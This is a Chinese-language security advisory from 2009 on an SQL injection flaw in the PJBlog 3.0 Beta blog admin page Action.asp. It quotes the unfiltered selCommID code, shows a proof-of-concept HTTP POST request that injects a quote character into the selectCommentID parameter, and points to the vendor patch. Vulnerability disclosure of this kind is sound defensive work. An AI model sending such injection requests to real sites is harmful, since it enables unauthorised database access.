PJBlog博客系统后台Action.asp页面selCommID变量过滤不严导致SQL注入缺陷


添加时间:
2009-02-04

系统编号:
WAVDB-01325

影响版本:
3.0 Beta

程序介绍:

PJBlog一套开源免费的中文个人博客系统程序,采用asp+Access的技术,PJBlog同时支持简繁中文,UTF-8编码,相对于其他系统,PJBlog具有相当高的运作效能以及更新率,也支持目前Blog所使用的新技术。

漏洞分析:

在文件control/ Action.asp中:

 
  1. selCommID = Split(Request.Form( selectCommentID ),  ,  ) //第353行  
  2. ……  
  3. ElseIf Request.Form( whatdo ) =  msg  Then //第371行  
  4. Set bookDB = Conn.Execute( select book_Messager FROM blog_book WHERE book_ID= &selCommID(i))  
变量selCommID没有过滤放入sql语句导致注入漏洞的产生。

漏洞利用:

POST /ConContent.asp HTTP/1.1
 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
 Referer: http://127.0.0.1:103/ConContent.asp?Fmenu=Categories
 Accept-Language: zh-cn
 Content-Type: application/x-www-form-urlencoded
 UA-CPU: x86
 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)
 Host: 127.0.0.1:103
 Content-Length: 127
 Connection: Keep-Alive
 Cache-Control: no-cache
 Cookie: PJBlog3Setting=ViewType=normal; PJBlog3=memRight=111111111111&memName=admin&memHashKey=01c1dc172188d12f917e6c2492e787d43ce0966c; ASPSESSIONIDQAABRAAQ=LAJBLBADFALCDBPMDPHHNCGL; ASP.NET_SessionId=052531uhossk1155ks5dm245; CheckCode=4633B8B4FA46833C; ASPSESSIONIDCABCSCDT=ICDNLLBDEBHJHCMNKBICIECH; ASPSESSIONIDQABBRABQ=IPGLOPCDNGMADODNDNMDLALO

action=Comment&whatdo=msg&doModule=DelSelect&selectCommentID=1%27&Submit=%E4%BF%9D%E5%AD%98%E6%97%A5%E5%BF%97%E5%88%86%E7%B1%BB



解决方案:
厂商补丁:
PJblog
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://bbs.pjhome.net/thread-48122-1-1.html


信息来源:
<*来源: Bug.Center.Team http://www.cnbct.org *>